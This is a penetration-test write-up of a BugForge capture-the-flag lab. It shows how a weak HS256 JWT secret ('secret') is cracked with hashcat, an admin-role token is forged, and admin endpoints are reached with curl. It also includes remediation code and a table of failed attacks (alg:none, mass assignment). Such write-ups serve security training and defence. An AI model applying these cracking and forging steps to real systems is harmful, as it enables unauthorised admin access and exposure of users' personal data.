Cheesy Does It: JWT HS256 Weak Secret to Admin Role Flip
Part 1: Pentest Report
Executive Summary
“Cheesy Does It” is a pizza ordering web app on the BugForge platform. React SPA on top of a Node.js + Express backend with JWT (HS256) authentication and a SQL flavoured datastore (SQLite/MySQL style timestamps). Customers register, browse a menu or build a custom pizza, check out with a card, and track an order. Self-registration is open and unauthenticated.
Testing confirmed one finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | JWT HS256 weak signing secret combined with role claim in token | Critical | 9.8 | CWE-326, CWE-285 | /api/admin/* |
The Express backend signs JWTs with HS256 using the literal string secret as its signing key. The JWT payload now carries a role claim (this rotation introduced it; prior rotations of the same lab carried {id, username, iat} only). The /api/admin/* route guard authorizes based on the role embedded in the token, so cracking the signing secret and re-signing a token with role:"admin" grants full admin access from any open-registration account. The flag is delivered as an x-flag HTTP response header on every admin endpoint reached with an admin-role token.
Flag captured: bug{NDOCwMTlbEbXwHYoLKTr6LG63I08ggCa}.
Objective
Recover the lab flag by exercising a discoverable application layer vulnerability on the BugForge “Cheesy Does It” lab.
Scope / Initial Access
# Target Application
URL: https://lab-1777336375101-zlxa2u.labs-app.bugforge.io
# Auth
POST /api/register → {username, email, password, full_name, phone, address} → JWT HS256
POST /api/login → {username, password} → JWT HS256
payload: {"id":N, "username":"...", "role":"user", "iat":...}
Authorization: Bearer <jwt> on protected endpoints
# Test account
haxor (id=4, role=user), created via standard self-registration
Self-registration is open. Registration and login both return {token, user:{...}}. The JWT payload now embeds a role claim. GET /api/verify-token returns the role field with the same value as the token claim, which is the first signal that the admin route authorizes off the token rather than a per-request database lookup.
Reconnaissance: Diffing the JWT against prior rotations
This lab is on a rotation cadence; three prior runs of the same target had different planted bugs and a different JWT shape. Decoding the issued token first thing and comparing to prior runs surfaced the structural change that drove the entire test plan.
| Rotation | JWT payload | Server role check (observed) | Active bug |
|---|---|---|---|
| 04-06 | {id, username, iat} |
DB lookup per request | Client trusted item prices |
| 04-13 | {id, username, iat} |
DB lookup per request | Refund amount manipulation |
| 04-21 | {id, username, iat} |
DB lookup per request | Discount array stacking |
| 04-28 | {id, username, role, iat} |
JWT claim only | Weak HS256 secret to role flip |
Three observations from this diff:
- A
roleclaim lives in the token. When the role authority is in the JWT, token integrity becomes authorization integrity. Any compromise of the signing secret stops being identity spoofing and becomes a full role flip. - The JWT alg is HS256. Symmetric signing means there is exactly one secret to recover, and the token itself is the cracking material. With registration open, anyone can capture a valid token and crack offline.
The combination of (1) and (2) made the JWT secret crack the cheapest first probe on this rotation.
Application Architecture
| Component | Detail |
|---|---|
| Frontend | React SPA (MUI components), bundled at /static/js/main.5af3684b.js |
| Backend | Node.js + Express (X-Powered-By: Express) |
| Auth | JWT HS256, Authorization: Bearer ...; payload {id, username, role, iat} |
| Datastore | SQL flavoured (response timestamps 2026-04-28 00:33:43 indicate SQLite/MySQL style) |
| Authorization model | /api/admin/* reads role from the JWT claim; verify-token reflects the same value |
| Order lifecycle | Status auto advances server-side every 120s |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | none | Open registration; returns user JWT with role:"user" |
| /api/login | POST | none | Returns user JWT |
| /api/verify-token | GET | bearer | Returns user object with role matching token claim |
| /api/menu/* | GET | bearer | Pizzas, bases, sauces, toppings |
| /api/payment/validate | POST | bearer | {card_number, exp_month, exp_year, cvv, amount} → payment_token |
| /api/payment/process | POST | bearer | {card_number, amount, payment_token} |
| /api/orders | POST | bearer | Order creation with payment_token |
| /api/orders/:id | GET | bearer | Single order, owner-scoped |
| /api/profile | PUT | bearer | Profile fields, role whitelisted out |
| /api/admin/stats | GET | bearer + role:admin | Returns aggregate metrics |
| /api/admin/users | GET | bearer + role:admin | Returns full users table |
| /api/admin/orders | GET | bearer + role:admin | Returns all orders |
Known Users
| Username | ID | Role |
|---|---|---|
| admin | 1 | admin |
| customer | 2 | user |
| foodie | 3 | user |
| haxor | 4 | user (test account) |
Attack Chain Visualization
┌──────────────────┐ ┌────────────────────┐ ┌─────────────────────┐ ┌─────────────────────┐
│ Register a user │──▶│ Crack HS256 secret │──▶│ Forge JWT with │──▶│ GET /api/admin/stats│
│ POST │ │ offline against │ │ role:"admin", sign │ │ with forged token, │
│ /api/register │ │ wallarm │ │ with the cracked │ │ inspect headers │
│ → user JWT │ │ jwt-secrets list │ │ secret │ │ (curl -i) │
│ {role:"user"} │ │ → secret = "secret"│ │ → admin JWT │ │ → 200 OK │
└──────────────────┘ └────────────────────┘ └─────────────────────┘ └─────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────┐
│ x-flag: bug{NDOCwMTlbEbXwHYoLKTr6LG63I08ggCa} │
└──────────────────────────────────────────────────────────┘
Findings
F1: JWT HS256 weak signing secret combined with role claim in token
Severity: Critical
CVSS v3.1: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-326 (Inadequate Encryption Strength), CWE-285 (Improper Authorization)
Endpoint: GET /api/admin/{stats,users,orders} (and any other endpoint whose authorization reads off the JWT role claim)
Authentication required: Self-registration only; registration is open and unauthenticated, so effective preconditions are none.
Description
Two compounding defects make full admin access reachable from any open registration account:
- The JWT signing secret is the literal string
secret. The Express backend signs HS256 tokens with a one-word value that is present in every public JWT secrets wordlist. Cracking it offline against the wallarmjwt.secrets.list(≈104k entries) resolves in under a second. - The server reads the user’s role from the JWT claim with no second factor. The
/api/admin/*route guard authorizes based onroleembedded in the token. There is no cross-check against the database, no signed claim allowlist, and no per-request lookup of the user’s actual role. Token integrity is the only thing standing between any registered user and admin.
With the secret recovered, a token with role:"admin" and any valid id/username is accepted as a fully privileged admin token. The flag is exposed as an x-flag HTTP response header on every /api/admin/* endpoint when the request carries an admin-role token.
Impact
Privilege escalation from any registered user to admin, with full read access to the users table (PII), all orders, and aggregate business metrics.
Reproduction
Step 1: Register and capture a user JWT
POST /api/register HTTP/1.1
Host: lab-1777336375101-zlxa2u.labs-app.bugforge.io
Content-Type: application/json
{"username":"haxor","email":"[email protected]","password":"password","full_name":"","phone":"","address":""}
Response: 200 OK with body containing a JWT. Decoded payload:
{"id":4,"username":"haxor","role":"user","iat":1777336415}
Save the token as USER_JWT.
Step 2: Crack the HS256 signing secret offline
echo "$USER_JWT" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /home/kali/workspace/wordlists/jwt/jwt.secrets.list
Result: secret cracked at position 6144/103965 in under one second. Value: secret.
Step 3: Forge an admin token with the cracked secret
jwtforge -p '{"id":4,"username":"haxor","role":"admin","iat":1777336415}' -s 'secret' -a HS256
Output:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJoYXhvciIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc3NzMzNjQxNX0.i678SdHDlv3z7JuSGghgl-13jF8YgmeZZRM4HCP2qU0
Save as ADMIN_JWT.
Step 4: Hit any admin endpoint with curl -i to surface response headers
curl -sk -i -H "Authorization: Bearer $ADMIN_JWT" \
https://lab-1777336375101-zlxa2u.labs-app.bugforge.io/api/admin/stats
Response (excerpt):
HTTP/2 200
access-control-allow-origin: *
content-type: application/json; charset=utf-8
x-flag: bug{NDOCwMTlbEbXwHYoLKTr6LG63I08ggCa}
x-powered-by: Express
{"total_users":5,"total_orders":1,"total_revenue":12.99,"orders_today":1,"revenue_today":12.99}
The flag is in the x-flag response header. The same header appears on GET /api/admin/users and GET /api/admin/orders with the same forged token.
Remediation
Fix 1: Replace the signing secret with a high entropy value held outside source
# BEFORE (Vulnerable: secret literally "secret", likely committed or env-defaulted)
JWT_SECRET=secret
# AFTER (Secure: 256-bit random value, loaded from a secrets manager)
openssl rand -base64 32
# → e.g. R8r2vQ2H8Qa6L1j7yQfQ5b8N5n8Q8w7Yd5q3P6Y2q4o=
# Store in AWS Secrets Manager / GCP Secret Manager / Vault, never .env in source
Fix 2: Do not authorize off a self-asserted token claim
// BEFORE (Vulnerable: trust the role claim from the JWT)
function requireAdmin(req, res, next) {
if (req.user.role !== 'admin') {
return res.status(403).json({ error: 'Admin access required' });
}
next();
}
// AFTER (Secure: re-read role from the database per request)
async function requireAdmin(req, res, next) {
const dbUser = await db.users.findById(req.user.id);
if (!dbUser || dbUser.role !== 'admin') {
return res.status(403).json({ error: 'Admin access required' });
}
req.dbUser = dbUser;
next();
}
The simpler alternative is to drop the role claim from the JWT entirely (revert to the prior {id, username, iat} shape) and look up role on every authenticated request. This was the model used in earlier rotations of this same lab and closed off the role-flip class of attack at the design level.
Fix 3: Move to asymmetric signing with key separation
Switch from HS256 to RS256 or ES256. Hold the private key on the auth issuer service only, distribute the public key to verifiers. A compromise of any verifier service can no longer mint valid tokens. Combine with a kid header so keys can be rotated without invalidating all tokens at once.
Additional recommendations:
- Add a JWT secret strength check at boot. Reject startup if
JWT_SECRETis shorter than 32 bytes or matches any entry in a placeholder list (secret,password,change-me, framework defaults). This single check would have prevented this finding from shipping. - Add a
kidheader and a key rotation runbook so a leaked secret can be invalidated without a full user logout cascade. - Treat any new claim added to a JWT as a security review trigger. The move from
{id, username, iat}to{id, username, role, iat}between rotations changed the threat model materially with no other code change.
OWASP Top 10 Coverage
- A02:2021 Cryptographic Failures: The JWT signing secret is a single dictionary word with no length or entropy floor. Symmetric signing with this material provides no integrity guarantee against an attacker who can capture one valid token.
- A07:2021 Identification and Authentication Failures: Authorization for admin endpoints depends entirely on the integrity of a self-asserted JWT claim. Compromise of the signing material is sufficient to assume any role.
- A05:2021 Security Misconfiguration: Production-shaped infrastructure (Express on a public origin) shipped with a placeholder secret. There is no boot-time guard rejecting weak secrets.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Request capture, replay, and tamper |
hashcat (-m 16500) |
Offline HS256 secret cracking against the wallarm jwt-secrets list |
| jwtforge | Forging the admin JWT with the cracked secret |
curl (-i) |
Reaching admin endpoints and surfacing the x-flag response header |
References
- CWE-326: Inadequate Encryption Strength
- CWE-285: Improper Authorization
- OWASP Top 10 A02:2021 Cryptographic Failures
- OWASP Top 10 A07:2021 Identification and Authentication Failures
- RFC 8725: JSON Web Token Best Current Practices
- wallarm/jwt-secrets list
Part 2: Notes / Knowledge
Key Learnings
- JWT cracking is a cheap baseline probe on any engagement that uses HS256. Symmetric signing means the token itself is the cracking material; capture one valid token, run it through hashcat (
-m 16500), and you either get a secret in seconds or you don’t. Lab/CTF and dev-shaped targets land in dictionary lists nearly every time. Cost is one command and a few seconds of CPU; reward is a full token forge if it hits. Run it on first contact with any HS256 surface, even when other vectors look more interesting.- Run the targeted list before the big one. Wallarm’s
jwt.secrets.list(≈104k entries, ~1.2 MB) carries every common dev placeholder and tutorial sample value, and exhausts in about a second on CPU. Use it first; fall back to rockyou (≈14M entries, minutes-to-hours on CPU) only when the targeted list misses. Same logic extends to other cracker-class wordlists for narrow target classes.
- Run the targeted list before the big one. Wallarm’s
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
alg:"none" JWT with role:"admin" |
403 Invalid token |
Server validates the alg header and rejects unsigned tokens. |
Mass-assign role:"admin" on POST /api/register |
New account issued with role:"user" |
Field whitelist on register; role is not in the accepted body schema. |
Mass-assign role:"admin" on PUT /api/profile |
Profile updates accepted, role unchanged | Same field whitelist on profile. |
Direct GET /api/admin/{stats,users,orders} with the user JWT |
403 Admin access required |
Server-side role gate is enforced; client gating is not the only check. |
POST /api/orders/:id/refund with refund_amount (prior rotation vector) |
404 Cannot POST /api/orders/:id/refund |
Refund endpoint removed in this rotation. |
discount: ["PIZZA-10","PIZZA-10"] on POST /api/orders (prior rotation vector) |
Same total as the string form, no flag | Discount array stacking patched; array now treated equivalently to a single string. |
Client trusted unit_price/total_price on order items (prior rotation vector) |
Order total does not match payment amount |
Server now recomputes the total and rejects mismatches. |
IDOR GET /api/orders/2 and /api/orders/3 with the haxor token |
404 on both |
Either user-scoped query or no other orders seeded; not distinguishable from one account. |
Tags: #jwt #hs256-weak-secret #role-flip #hashcat #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-04-28